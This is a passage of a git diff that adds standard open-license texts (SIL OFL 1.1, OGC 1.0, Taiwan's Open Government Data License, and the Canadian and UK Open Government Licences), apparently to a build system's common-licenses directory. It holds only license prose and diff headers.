+3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users.
+
+4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission.
+
+5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software.
+
+TERMINATION
+
+This license becomes null and void if any of the above conditions are not met.
+
+DISCLAIMER
+
+THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE.
diff --git a/meta/files/common-licenses/OFL-1.1-no-RFN b/meta/files/common-licenses/OFL-1.1-no-RFN
new file mode 100644
index 0000000000..6fe84ee21e
--- /dev/null
+++ b/meta/files/common-licenses/OFL-1.1-no-RFN
@@ -0,0 +1,43 @@
+SIL OPEN FONT LICENSE
+
+Version 1.1 - 26 February 2007
+
+PREAMBLE
+
+The goals of the Open Font License (OFL) are to stimulate worldwide development of collaborative font projects, to support the font creation efforts of academic and linguistic communities, and to provide a free and open framework in which fonts may be shared and improved in partnership with others.
+
+The OFL allows the licensed fonts to be used, studied, modified and redistributed freely as long as they are not sold by themselves. The fonts, including any derivative works, can be bundled, embedded, redistributed and/or sold with any software provided that any reserved names are not used by derivative works. The fonts and derivatives, however, cannot be released under any other type of license. The requirement for fonts to remain under this license does not apply to any document created using the fonts or their derivatives.
+
+DEFINITIONS
+
+"Font Software" refers to the set of files released by the Copyright Holder(s) under this license and clearly marked as such. This may include source files, build scripts and documentation.
+
+"Reserved Font Name" refers to any names specified as such after the copyright statement(s).
+
+"Original Version" refers to the collection of Font Software components as distributed by the Copyright Holder(s).
+
+"Modified Version" refers to any derivative made by adding to, deleting, or substituting — in part or in whole — any of the components of the Original Version, by changing formats or by porting the Font Software to a new environment.
+
+"Author" refers to any designer, engineer, programmer, technical writer or other person who contributed to the Font Software.
+
+PERMISSION & CONDITIONS
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of the Font Software, to use, study, copy, merge, embed, modify, redistribute, and sell modified and unmodified copies of the Font Software, subject to the following conditions:
+
+1) Neither the Font Software nor any of its individual components, in Original or Modified Versions, may be sold by itself.
+
+2) Original or Modified Versions of the Font Software may be bundled, redistributed and/or sold with any software, provided that each copy contains the above copyright notice and this license. These can be included either as stand-alone text files, human-readable headers or in the appropriate machine-readable metadata fields within text or binary files as long as those fields can be easily viewed by the user.
+
+3) No Modified Version of the Font Software may use the Reserved Font Name(s) unless explicit written permission is granted by the corresponding Copyright Holder. This restriction only applies to the primary font name as presented to the users.
+
+4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font Software shall not be used to promote, endorse or advertise any Modified Version, except to acknowledge the contribution(s) of the Copyright Holder(s) and the Author(s) or with their explicit written permission.
+
+5) The Font Software, modified or unmodified, in part or in whole, must be distributed entirely under this license, and must not be distributed under any other license. The requirement for fonts to remain under this license does not apply to any document created using the Font Software.
+
+TERMINATION
+
+This license becomes null and void if any of the above conditions are not met.
+
+DISCLAIMER
+
+THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE.
diff --git a/meta/files/common-licenses/OGC-1.0 b/meta/files/common-licenses/OGC-1.0
new file mode 100644
index 0000000000..1b60c1fc7a
--- /dev/null
+++ b/meta/files/common-licenses/OGC-1.0
@@ -0,0 +1,17 @@
+OGC Software License, Version 1.0
+
+This OGC work (including software, documents, or other related items) is being provided by the copyright holders under the following license. By obtaining, using and/or copying this work, you (the licensee) agree that you have read, understood, and will comply with the following terms and conditions:
+
+Permission to use, copy, and modify this software and its documentation, with or without modification, for any purpose and without fee or royalty is hereby granted, provided that you include the following on ALL copies of the software and documentation or portions thereof, including modifications, that you make:
+
+1. The full text of this NOTICE in a location viewable to users of the redistributed or derivative work.
+
+2. Any pre-existing intellectual property disclaimers, notices, or terms and conditions. If none exist, a short notice of the following form (hypertext is preferred, text is permitted) should be used within the body of any redistributed or derivative code: "Copyright © [$date-of-document] Open Geospatial Consortium, Inc. All Rights Reserved. http://www.ogc.org/ogc/legal (Hypertext is preferred, but a textual representation is permitted.)
+
+3. Notice of any changes or modifications to the OGC files, including the date changes were made. (We recommend you provide URIs to the location from which the code is derived.)
+
+THIS SOFTWARE AND DOCUMENTATION IS PROVIDED "AS IS," AND COPYRIGHT HOLDERS MAKE NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO, WARRANTIES OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF THE SOFTWARE OR DOCUMENTATION WILL NOT INFRINGE ANY THIRD PARTY PATENTS, COPYRIGHTS, TRADEMARKS OR OTHER RIGHTS.
+
+COPYRIGHT HOLDERS WILL NOT BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF ANY USE OF THE SOFTWARE OR DOCUMENTATION.
+
+The name and trademarks of copyright holders may NOT be used in advertising or publicity pertaining to the software without specific, written prior permission. Title to copyright in this software and any associated documentation will at all times remain with copyright holders.
diff --git a/meta/files/common-licenses/OGDL-Taiwan-1.0 b/meta/files/common-licenses/OGDL-Taiwan-1.0
new file mode 100644
index 0000000000..7f9e64b5c0
--- /dev/null
+++ b/meta/files/common-licenses/OGDL-Taiwan-1.0
@@ -0,0 +1,141 @@
+政府資料開放授權條款-第1版
+
+中華民國104年7月27日訂定
+
+為便利民眾共享及應用政府資料、促進及活化政府資料應用、結合民間創意提升政府資料品質及價值、優化政府服務品質,訂定本條款。
+
+一、定義
+
+(一)資料提供機關:指將職權範圍內取得或作成之各類電子資料,透過本條款釋出予公眾之政府機關(構)、公營事業機構、公立學校及行政法人。
+
+(二)使用者:指依本條款規定取得開放資料,並對其利用之自然人、法人或團體,包括依本條款授權使用者再轉授權利用之人或團體。
+
+(三)開放資料:指資料提供機關擁有完整著作財產權,或經授權得再轉授權第三人利用之資料,並以公開、可修改,且無不必要技術限制之格式提供者,包括但不限於下列著作:
+
+ 1. 編輯著作:選擇、編排具有創作性,而可受著作權法保護之資料庫或其他結構化資料組合。
+
+ 2. 素材:指開放資料集合物中,其他可受著作權法保護之獨立著作。
+
+(四)衍生物:指依本條款所提供之開放資料,進行後續重製、改作、編輯或為其他方式利用之修改物。
+
+(五)資訊:指不受著作權法保護之純粹紀錄,並隨同開放資料一併提供者。前揭資訊除本條款授與權利之規定外,比照有關開放資料之規定辦理。
+
+二、授與權利
+
+(一)各機關所提供之開放資料,授權使用者不限目的、時間及地域、非專屬、不可撤回、免授權金進行利用,利用之方式包括重製、散布、公開傳輸、公開播送、公開口述、公開上映、公開演出、編輯、改作,包括但不限於開發各種產品或服務型態之衍生物。
+
+(二)使用者得再轉授權他人為前項之利用。
+
+(三)使用者依本條款規定利用開放資料,無須另行取得各資料提供機關之書面或其他方式授權。
+
+(四)本條款之授權範圍不包括專利權及商標權。
+
+三、課予義務
+
+(一)使用者利用依本條款提供之開放資料,視為同意遵守本條款之各項規定,並應以尊重第三人著作人格權之方式利用之。
+
+(二)使用者利用依本條款提供之開放資料,及後續之衍生物,應以符合附件所示「顯名聲明」要求之方式,明確標示原資料提供機關之相關聲明;未盡顯名標示義務者,視為自始未取得開放資料之授權。
+
+四、版本更新及授權轉換
+
+(一)本條款如有修正,依舊條款提供之開放資料,於新條款公告時,使用者得選擇採用新條款利用。但原資料提供機關,於提供開放資料時,已訂明其使用之特定版本條款者,不在此限。
+
+(二)本條款與「創用CC授權 姓名標示 4.0 國際版本」相容,使用者依本條款利用開放資料,如後續以「創用CC授權 姓名標示 4.0 國際版本」規定之方式利用,視為符合本條款之規定。
+
+五、停止提供
+
+有下列情形之一者,各資料提供機關得停止全部或一部開放資料之提供,使用者不得向資料提供機關請求任何賠償或補償:
+
+ 1. 因情事變更或其他正當事由,致各資料提供機關評估繼續提供該開放資料供公眾使用,已不符合公共利益之要求。
+
+ 2. 所提供之開放資料,有侵害第三人智慧財產權、隱私權或其他法律上利益之虞。
+
+六、免責聲明
+
+(一)依本條款提供之開放資料,不構成任何資料提供機關申述、保證或暗示其推薦、同意、許可或核准之意思表示;各資料提供機關僅於知悉其所提供之開放資料有錯誤或遺漏時,負修正及補充之責。
+
+(二)使用者利用依本條款提供之開放資料,受有損害或損失,或致第三人受有損害或損失,而遭求償者,除法令另有規定外,各資料提供機關不負任何賠償或補償之責。
+
+(三)使用者利用依本條款提供之開放資料,因故意或過失,致資料提供機關遭受損害,或第三人因此向資料提供機關請求賠償損害,使用者應對各機關負賠償責任。
+
+七、準據法
+
+本條款之解釋、效力、履行及其他未盡事宜,以中華民國法律為準據法。
+
+附件:顯名聲明
+
+ 1. 提供機關/單位 [年份] [開放資料釋出名稱與版本號]
+
+ 2. 此開放資料依政府資料開放授權條款 (Open Government Data License) 進行公眾釋出,使用者於遵守本條款各項規定之前提下,得利用之。
+
+ 3. 政府資料開放授權條款:https://data.gov.tw/license
+
+Open Government Data License, version 1.0
+
+The Open Government Data License (the License) is intended to facilitate government data sharing and application among the public in outreaching and promotion method, and to advance government service efficacy and government data value and quality in collaboration with the creative private sector.
+
+1. Definition
+
+1.1. "Data Providing Organization" refers to government agency, government-owned business, public school and administrative legal entity that has various types of electronic data released to the public under the License when it is obtained or made in the scope of performance for public duties.
+
+1.2. "User" refers to individual, legal entity or group that receives and uses Open Data under the License, including individual, legal entity or group who is receiving and using Open Data as the recipient of the former Users under the sublicensing scenario.
+
+1.3. "Open Data" means data that the Data Providing Organization owns its copyright in whole or has full authority to provide it to third parties in sublicensing way, and provides it in an open and modifiable form such that there are no unnecessary technological obstacles to the performance of the licensed rights, including but not limited to the following creation protected by copyright:
+
+ a. "Compilation Work" means a work formed by the creative selection and arrangement of data, and can be protected by copyright law, such as database or other qualified structured data combination.
+
+ b. "Material" means a separate work, that is collected into the Open Data aggregation and can be protected by copyright law independently.
+
+1.4. "Derivative Work" means any adaptation based upon the Open Data provided under the License and in which the original data is reproduced, adapted, compiled, or otherwise modified.
+
+1.5. "Information" means the pure record that is not subject to copyright law and providing along with the Open Data. Accordingly, the granting of copyright license hereunder does not apply to such Information, however, other provisions of the License shall be applied to it as well as to the Open Data.
+
+2. Grant of Copyright License
+
+2.1. The Data Providing Organization grants User a perpetual, worldwide, non-exclusive, irrevocable, royalty-free copyright license to reproduce, distribute, publicly transmit, publicly broadcast, publicly recite, publicly present, publicly perform, compile, adapt to the Open Data provided for any purpose, including but not limited to making all kinds of Derivative Works either as products or services.
+
+2.2. User can sublicense the copyrights which he/she is granted through 2.1. to others.
+
+2.3. Any additional written offer or other formality for copyright license from the Data Providing Organization is not required, if User makes use of Open Data in compliance with the License.
+
+2.4. The License does not grant any rights in the patents and trademarks.
+
+3. Condition and Obligation
+
+3.1. By utilizing the Open Data provided under the License, User indicates his/her acceptance of this License and all its terms and conditions overall to do so, and shall make the reasonable efforts with respect to moral right protection of the third parties involved.
+
+3.2. When User makes use of the Open Data and its Derivative Work, he/she must make an explicit notice of statement as attribution requested in the Exhibit below by the Data Providing Organization. If User fails to comply with the attribution requirement, the rights granted under this License shall be deemed to have been void ab initio.
+
+4. License Version and Compatibility
+
+4.1. When a new version of the License has been updated and declared, if not the Data Providing Organization has already appointed a specific version of the License for the Open Data it provided, User may make use of the Open Data under the terms of the version of the License under which he/she originally received, or under the terms of any subsequent version published thereafter.
+
+4.2. The License is compatible with the Creative Commons Attribution License 4.0 International. This means that when the Open Data is provided under the License, User automatically satisfies the conditions of this License when he/she makes use of the Open Data in compliance with the Creative Commons Attribution License 4.0 International thereafter.
+
+5. Cessation of Data Providing
+
+5.1. Under the circumstances described hereunder, the Data Providing Organization may cease to provide all or part of a specific Open Data, and User shall not claim any damages or compensations on account of that to the provider:
+
+ a. It has been evaluated by the Data Providing Organization that continuously providing of a specific Open Data as not being met the requirement of public interest due to the change of circumstances unpredictable or for a legitimate cause.
+
+ b. A provided Open Data might jeopardize third parties' intellectual property rights, privacy rights, or other interests protected at law.
+
+6. Disclaimer
+
+6.1. The providing of Open Data under the License shall not be construed as any statement, warranty, or implication to the recommendation, permission, approval, or sanction of all kinds of authoritative declaration of intention made by the Data Providing Organization. And the Data Providing Organization shall only be liable to make the correcting and updating when the errors or omissions of Open Data provided by it has been acknowledged.
+
+6.2. The Data Providing Organization shall not be liable for damage or loss User encounters when he/she makes use of the Open Data provided under the License. This disclaimer applies as well when User has third parties encountered damage or loss and thus has been claimed for remedies. Unless otherwise specified according to law, the Data Providing Organization shall not be held responsible for any damages or compensations herein.
+
+6.3. User shall be liable for the damages to the Data Providing Organization, if he/she has used the Open Data provided wrongfully due to an intentional or negligent misconduct and caused damages to the Data Providing Organization. The same reimbursement rule for wrongful misconducting shall be applied to the User when the damaged one is a third party and the compensations have already been disbursed by the Data Providing Organization to the third party due to a legal claim.
+
+7. Governing Law
+
+7.1. The interpretation, validity, enforcement and matters not mentioned herein for the License is governed by the Laws of Republic of China (Taiwan).
+
+Exhibit - Attribution
+
+ a. Data Providing Organization/Agency [year] [distinguishing full name of the released Open Data and its version number]
+
+ b. The Open Data is made available to the public under the Open Government Data License, User can make use of it when complying to the condition and obligation of its terms.
+
+ c. Open Government Data License:https://data.gov.tw/license
diff --git a/meta/files/common-licenses/OGL-Canada-2.0 b/meta/files/common-licenses/OGL-Canada-2.0
new file mode 100644
index 0000000000..d638334a11
--- /dev/null
+++ b/meta/files/common-licenses/OGL-Canada-2.0
@@ -0,0 +1,51 @@
+Open Government Licence - Canada
+
+You are encouraged to use the Information that is available under this licence with only a few conditions.
+
+Using Information under this licence
+* Use of any Information indicates your acceptance of the terms below.
+* The Information Provider grants you a worldwide, royalty-free, perpetual, non-exclusive licence to use the Information, including for commercial purposes, subject to the terms below.
+
+You are free to:
+* Copy, modify, publish, translate, adapt, distribute or otherwise use the Information in any medium, mode or format for any lawful purpose.
+
+You must, where you do any of the above:
+* Acknowledge the source of the Information by including any attribution statement specified by the Information Provider(s) and, where possible, provide a link to this licence.
+* If the Information Provider does not provide a specific attribution statement, or if you are using Information from several information providers and multiple attributions are not practical for your product or application, you must use the following attribution statement:
+ Contains information licensed under the Open Government Licence – Canada.
+
+The terms of this licence are important, and if you fail to comply with any of them, the rights granted to you under this licence, or any similar licence granted by the Information Provider, will end automatically.
+
+Exemptions
+This licence does not grant you any right to use:
+* Personal Information;
+* third party rights the Information Provider is not authorized to license;
+* the names, crests, logos, or other official symbols of the Information Provider; and
+* Information subject to other intellectual property rights, including patents, trade-marks and official marks.
+
+Non-endorsement
+This licence does not grant you any right to use the Information in a way that suggests any official status or that the Information Provider endorses you or your use of the Information.
+
+No Warranty
+The Information is licensed “as is”, and the Information Provider excludes all representations, warranties, obligations, and liabilities, whether express or implied, to the maximum extent permitted by law.
+
+The Information Provider is not liable for any errors or omissions in the Information, and will not under any circumstances be liable for any direct, indirect, special, incidental, consequential, or other loss, injury or damage caused by its use or otherwise arising in connection with this licence or the Information, even if specifically advised of the possibility of such loss, injury or damage.
+
+Governing Law
+This licence is governed by the laws of the province of Ontario and the applicable laws of Canada.
+
+Legal proceedings related to this licence may only be brought in the courts of Ontario or the Federal Court of Canada.
+
+Definitions
+In this licence, the terms below have the following meanings:
+
+"Information" means information resources protected by copyright or other information that is offered for use under the terms of this licence.
+
+"Information Provider" means Her Majesty the Queen in right of Canada.
+
+“Personal Information” means “personal information” as defined in section 3 of the Privacy Act, R.S.C. 1985, c. P-21.
+
+"You" means the natural or legal person, or body of persons corporate or incorporate, acquiring rights under this licence.
+
+Versioning
+This is version 2.0 of the Open Government Licence – Canada. The Information Provider may make changes to the terms of this licence from time to time and issue a new version of the licence. Your use of the Information will be governed by the terms of the licence in force as of the date you accessed the information.
diff --git a/meta/files/common-licenses/OGL-UK-1.0 b/meta/files/common-licenses/OGL-UK-1.0
new file mode 100644
index 0000000000..a761c9916f
--- /dev/null
+++ b/meta/files/common-licenses/OGL-UK-1.0
@@ -0,0 +1,69 @@
+Open Government Licence v1.0
+
+You are encouraged to use and re-use the Information that is available under this licence, the Open Government Licence, freely and flexibly, with only a few conditions.
+Using information under this licence
+
+Use of copyright and database right material expressly made available under this licence (the ‘Information’) indicates your acceptance of the terms and conditions below.
+
+The Licensor grants you a worldwide, royalty-free, perpetual, non-exclusive licence to use the Information subject to the conditions below.
+
+This licence does not affect your freedom under fair dealing or fair use or any other copyright or database right exceptions and limitations.
+
+You are free to:
+ copy, publish, distribute and transmit the Information;
+ adapt the Information;
+ exploit the Information commercially for example, by combining it with other Information, or by including it in your own product or application.
+
+You must, where you do any of the above:
+ acknowledge the source of the Information by including any attribution statement specified by the Information Provider(s) and, where possible, provide a link to this licence;
+  If the Information Provider does not provide a specific attribution statement, or if you are using Information from several Information Providers and multiple attributions are not practical in your product or application, you may consider using the following:
 Contains public sector information licensed under the Open Government Licence v1.0.
+ ensure that you do not use the Information in a way that suggests any official status or that the Information Provider endorses you or your use of the Information;
+ ensure that you do not mislead others or misrepresent the Information or its source;
+ ensure that your use of the Information does not breach the Data Protection Act 1998 or the Privacy and Electronic Communications (EC Directive) Regulations 2003.
+
+These are important conditions of this licence and if you fail to comply with them the rights granted to you under this licence, or any similar licence granted by the Licensor, will end automatically.
+
+ Exemptions
+
+This licence does not cover the use of:
+ - personal data in the Information;
+ - Information that has neither been published nor disclosed under information access legislation (including the Freedom of Information Acts for the UK and Scotland) by or with the consent of the Information Provider;
+ - departmental or public sector organisation logos, crests and the Royal Arms except where they form an integral part of a document or dataset;
+ - military insignia;
+ - third party rights the Information Provider is not authorised to license;
+ - Information subject to other intellectual property rights, including patents, trademarks, and design rights; and
+ - identity documents such as the British Passport.
+
+No warranty
+
+The Information is licensed ‘as is’ and the Information Provider excludes all representations, warranties, obligations and liabilities in relation to the Information to the maximum extent permitted by law.
+
+The Information Provider is not liable for any errors or omissions in the Information and shall not be liable for any loss, injury or damage of any kind caused by its use. The Information Provider does not guarantee the continued supply of the Information.
+
+Governing Law
+
+This licence is governed by the laws of the jurisdiction in which the Information Provider has its principal place of business, unless otherwise specified by the Information Provider.
+
+Definitions
+
+In this licence, the terms below have the following meanings:
+
+‘Information’
means information protected by copyright or by database right (for example, literary and artistic works, content, data and source code) offered for use under the terms of this licence.
+
+‘Information Provider’
means the person or organisation providing the Information under this licence.
+
+‘Licensor’
means any Information Provider which has the authority to offer Information under the terms of this licence or the Controller of Her Majesty’s Stationery Office, who has the authority to offer Information subject to Crown copyright and Crown database rights and Information subject to copyright and database right that has been assigned to or acquired by the Crown, under the terms of this licence.
+
+‘Use’
as a verb, means doing any act which is restricted by copyright or database right, whether in the original medium or in any other medium, and includes without limitation distributing, copying, adapting, modifying as may be technically necessary to use it in a different mode or format.
+
+‘You’
means the natural or legal person, or body of persons corporate or incorporate, acquiring rights under this licence.
+
+About the Open Government Licence
+The Controller of Her Majesty’s Stationery Office (HMSO) has developed this licence as a tool to enable Information Providers in the public sector to license the use and re-use of their Information under a common open licence. The Controller invites public sector bodies owning their own copyright and database rights to permit the use of their Information under this licence.
+
+The Controller of HMSO has authority to license Information subject to copyright and database right owned by the Crown. The extent of the Controller’s offer to license this Information under the terms of this licence is set out in the UK Government Licensing Framework.
+
+This is version 1.0 of the Open Government Licence. The Controller of HMSO may, from time to time, issue new versions of the Open Government Licence. However, you may continue to use Information licensed under this version should you wish to do so.
+These terms have been aligned to be interoperable with any Creative Commons Attribution Licence, which covers copyright, and Open Data Commons Attribution License, which covers database rights and applicable copyrights.
+
+Further context, best practice and guidance can be found in the UK Government Licensing Framework section on The National Archives website.
diff --git a/meta/files/common-licenses/OGL-UK-2.0 b/meta/files/common-licenses/OGL-UK-2.0
new file mode 100644
index 0000000000..319c1b53a8
--- /dev/null
+++ b/meta/files/common-licenses/OGL-UK-2.0
@@ -0,0 +1,72 @@
+Open Government Licence v2.0
+
+You are encouraged to use and re-use the Information that is available under this licence freely and flexibly, with only a few conditions.
+
+Using Information under this licence
+Use of copyright and database right material expressly made available under this licence (the ‘Information’) indicates your acceptance of the terms and conditions below.
+
+The Licensor grants you a worldwide, royalty-free, perpetual, non-exclusive licence to use the Information subject to the conditions below.
+
+This licence does not affect your freedom under fair dealing or fair use or any other copyright or database right exceptions and limitations.
+
+You are free to:
+copy, publish, distribute and transmit the Information;
+adapt the Information;
+exploit the Information commercially and non-commercially for example, by combining it with other Information, or by including it in your own product or application.
+You must, where you do any of the above:
+acknowledge the source of the Information by including any attribution statement specified by the Information Provider(s) and, where possible, provide a link to this licence;
+ If the Information Provider does not provide a specific attribution statement, or if you are using Information from several Information Providers and multiple attributions are not practical in your product or application, you may use the following:
+
+ Contains public sector information licensed under the Open Government Licence v2.0.
+
+These are important conditions of this licence and if you fail to comply with them the rights granted to you under this licence, or any similar licence granted by the Licensor, will end automatically.
+
+ Exemptions
+This licence does not cover:
+
+personal data in the Information;
+information that has neither been published nor disclosed under information access legislation (including the Freedom of Information Acts for the UK and Scotland) by or with the consent of the Information Provider;
+departmental or public sector organisation logos, crests and the Royal Arms except where they form an integral part of a document or dataset;
+military insignia;
+third party rights the Information Provider is not authorised to license;
+other intellectual property rights, including patents, trade marks, and design rights; and
+identity documents such as the British Passport
+Non-endorsement
+This licence does not grant you any right to use the Information in a way that suggests any official status or that the Information Provider endorses you or your use of the Information.
+
+Non warranty
+The Information is licensed ‘as is’ and the Information Provider excludes all representations, warranties, obligations and liabilities in relation to the Information to the maximum extent permitted by law.
+
+The Information Provider is not liable for any errors or omissions in the Information and shall not be liable for any loss, injury or damage of any kind caused by its use. The Information Provider does not guarantee the continued supply of the Information.
+
+Governing Law
+This licence is governed by the laws of the jurisdiction in which the Information Provider has its principal place of business, unless otherwise specified by the Information Provider.
+
+Definitions
+In this licence, the terms below have the following meanings:
+
+‘Information’
+means information protected by copyright or by database right (for example, literary and artistic works, content, data and source code) offered for use under the terms of this licence.
+
+‘Information Provider’
+means the person or organisation providing the Information under this licence.
+
+‘Licensor’
+means any Information Provider who has the authority to offer Information under the terms of this licence. It includes the Controller of Her Majesty’s Stationery Office, who has the authority to offer Information subject to Crown copyright and Crown database rights, and Information subject to copyright and database rights which have been assigned to or acquired by the Crown, under the terms of this licence.
+
+‘Use’
+means doing any act which is restricted by copyright or database right, whether in the original medium or in any other medium, and includes without limitation distributing, copying, adapting, modifying as may be technically necessary to use it in a different mode or format.
+
+‘You’
+means the natural or legal person, or body of persons corporate or incorporate, acquiring rights under this licence.
+
+About the Open Government Licence
+The Controller of Her Majesty’s Stationery Office (HMSO) has developed this licence as a tool to enable Information Providers in the public sector to license the use and re-use of their Information under a common open licence. The Controller invites public sector bodies owning their own copyright and database rights to permit the use of their Information under this licence.
+
+The Controller of HMSO has authority to license Information subject to copyright and database right owned by the Crown. The extent of the Controller’s offer to license this Information under the terms of this licence is set out on The National Archives website.
+
+This is version 2.0 of the Open Government Licence. The Controller of HMSO may, from time to time, issue new versions of the Open Government Licence. If you are already using Information under a previous version of the Open Government Licence, the terms of that licence will continue to apply.
+
+These terms are compatible with the Creative Commons Attribution License 4.0 and the Open Data Commons Attribution License, both of which license copyright and database rights. This means that when the Information is adapted and licensed under either of those licences, you automatically satisfy the conditions of the OGL when you comply with the other licence. The OGLv2.0 is Open Definition compliant.
+
+Further context, best practice and guidance can be found in the UK Government Licensing Framework section on The National Archives website.
diff --git a/meta/files/common-licenses/OGL-UK-3.0 b/meta/files/common-licenses/OGL-UK-3.0
new file mode 100644
index 0000000000..febac4164b
--- /dev/null
+++ b/meta/files/common-licenses/OGL-UK-3.0
@@ -0,0 +1,69 @@
+Open Government Licence v3.0
+
+You are encouraged to use and re-use the Information that is available under this licence freely and flexibly, with only a few conditions.
+
+Using Information under this licence
+Use of copyright and database right material expressly made available under this licence (the 'Information') indicates your acceptance of the terms and conditions below.
+
+The Licensor grants you a worldwide, royalty-free, perpetual, non-exclusive licence to use the Information subject to the conditions below.
+
+This licence does not affect your freedom under fair dealing or fair use or any other copyright or database right exceptions and limitations.
+
+You are free to:
+copy, publish, distribute and transmit the Information;
+adapt the Information;
+exploit the Information commercially and non-commercially for example, by combining it with other Information, or by including it in your own product or application.
+You must (where you do any of the above):
+acknowledge the source of the Information in your product or application by including or linking to any attribution statement specified by the Information Provider(s) and, where possible, provide a link to this licence;
+ If the Information Provider does not provide a specific attribution statement, you must use the following:
+
+ Contains public sector information licensed under the Open Government Licence v3.0.
+
+If you are using Information from several Information Providers and listing multiple attributions is not practical in your product or application, you may include a URI or hyperlink to a resource that contains the required attribution statements.
+
+These are important conditions of this licence and if you fail to comply with them the rights granted to you under this licence, or any similar licence granted by the Licensor, will end automatically.
+
+ Exemptions
+This licence does not cover:
+
+personal data in the Information;
+Information that has not been accessed by way of publication or disclosure under information access legislation (including the Freedom of Information Acts for the UK and Scotland) by or with the consent of the Information Provider;
+departmental or public sector organisation logos, crests and the Royal Arms except where they form an integral part of a document or dataset;
+military insignia;
+third party rights the Information Provider is not authorised to license;
+other intellectual property rights, including patents, trade marks, and design rights; and
+identity documents such as the British Passport
+Non-endorsement
+This licence does not grant you any right to use the Information in a way that suggests any official status or that the Information Provider and/or Licensor endorse you or your use of the Information.
+
+No warranty
+The Information is licensed 'as is' and the Information Provider and/or Licensor excludes all representations, warranties, obligations and liabilities in relation to the Information to the maximum extent permitted by law.
+
+The Information Provider and/or Licensor are not liable for any errors or omissions in the Information and shall not be liable for any loss, injury or damage of any kind caused by its use. The Information Provider does not guarantee the continued supply of the Information.
+
+Governing Law
+This licence is governed by the laws of the jurisdiction in which the Information Provider has its principal place of business, unless otherwise specified by the Information Provider.
+
+Definitions
+In this licence, the terms below have the following meanings:
+
+'Information' means information protected by copyright or by database right (for example, literary and artistic works, content, data and source code) offered for use under the terms of this licence.
+
+'Information Provider' means the person or organisation providing the Information under this licence.
+
+'Licensor' means any Information Provider which has the authority to offer Information under the terms of this licence or the Keeper of Public Records, who has the authority to offer Information subject to Crown copyright and Crown database rights and Information subject to copyright and database right that has been assigned to or acquired by the Crown, under the terms of this licence.
+
+'Use' means doing any act which is restricted by copyright or database right, whether in the original medium or in any other medium, and includes without limitation distributing, copying, adapting, modifying as may be technically necessary to use it in a different mode or format.
+
+'You', 'you' and 'your' means the natural or legal person, or body of persons corporate or incorporate, acquiring rights in the Information (whether the Information is obtained directly from the Licensor or otherwise) under this licence.
+
+About the Open Government Licence
+The National Archives has developed this licence as a tool to enable Information Providers in the public sector to license the use and re-use of their Information under a common open licence. The National Archives invites public sector bodies owning their own copyright and database rights to permit the use of their Information under this licence.
+
+The Keeper of the Public Records has authority to license Information subject to copyright and database right owned by the Crown. The extent of the offer to license this Information under the terms of this licence is set out in the UK Government Licensing Framework.
+
+This is version 3.0 of the Open Government Licence. The National Archives may, from time to time, issue new versions of the Open Government Licence. If you are already using Information under a previous version of the Open Government Licence, the terms of that licence will continue to apply.
+
+These terms are compatible with the Creative Commons Attribution License 4.0 and the Open Data Commons Attribution License, both of which license copyright and database rights. This means that when the Information is adapted and licensed under either of those licences, you automatically satisfy the conditions of the OGL when you comply with the other licence. The OGLv3.0 is Open Definition compliant.
+
+Further context, best practice and guidance can be found in the UK Government Licensing Framework section on The National Archives website.
diff --git a/meta/files/common-licenses/OLDAP-1.1 b/meta/files/common-licenses/OLDAP-1.1
new file mode 100644
index 0000000000..f78dd0462d
--- /dev/null
+++ b/meta/files/common-licenses/OLDAP-1.1
@@ -0,0 +1,60 @@
+The OpenLDAP Public License
+Version 1.1, 25 August 1998
+
+Copyright 1998, The OpenLDAP Foundation. All Rights Reserved.
+
+Note: This license is derived from the "Artistic License" as distributed with the Perl Programming Language. Its terms are different from those of the "Artistic License."
+
+PREAMBLE
+
+The intent of this document is to state the conditions under which a Package may be copied, such that the Copyright Holder maintains some semblance of artistic control over the development of the package, while giving the users of the package the right to use and distribute the Package in a more-or-less customary fashion, plus the right to make reasonable modifications.
+
+Definitions:
+
+ "Package" refers to the collection of files distributed by the Copyright Holder, and derivatives of that collection of files created through textual modification.
+
+ "Standard Version" refers to such a Package if it has not been modified, or has been modified in accordance with the wishes of the Copyright Holder.
+
+ "Copyright Holder" is whoever is named in the copyright or copyrights for the package.
+
+ "You" is you, if you're thinking about copying or distributing this Package.
